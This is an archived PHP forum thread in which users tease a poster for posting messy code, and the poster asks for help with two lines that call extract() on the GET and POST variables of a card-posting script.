You clearly have no idea what that code does, expect someone to just read through it and tell you what to do without trying anything yourself. Read a simple php tutorial online and who knows; you may learn something ;)

@parino_ : you actualy read all that?  I strated to loose focus when the variables were being assigned  :shrug:

 

...if only there was something in the forum post BBCode that would make it clearer and easier to read..... ;D

 

TOTALY agree though - there is no way on this plannet (or any other one that I have visited recently) that you (zanycyborg) could write that code and have never learned how to assign an array, or at the very least be in a possition get what you needed from the php manual.

look, i know what the code does. i'm only having trouble with lines 14 and 15:

 

extract($HTTP_GET_VARS);

extract($HTTP_POST_VARS)

 

I'm just not able to put them in arrays properly. I'm asking if someone can help tell me how i can do that so that a chosen card can be extracted from a category and posted.

 

thanks, your help will be appreciated

@parino_ : you actualy read all that?  I strated to loose focus when the variables were being assigned  :shrug:

 

...if only there was something in the forum post BBCode that would make it clearer and easier to read..... ;D

 

TOTALY agree though - there is no way on this plannet (or any other one that I have visited recently) that you (zanycyborg) could write that code and have never learned how to assign an array, or at the very least be in a possition get what you needed from the php manual.

 

No lol. :D

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.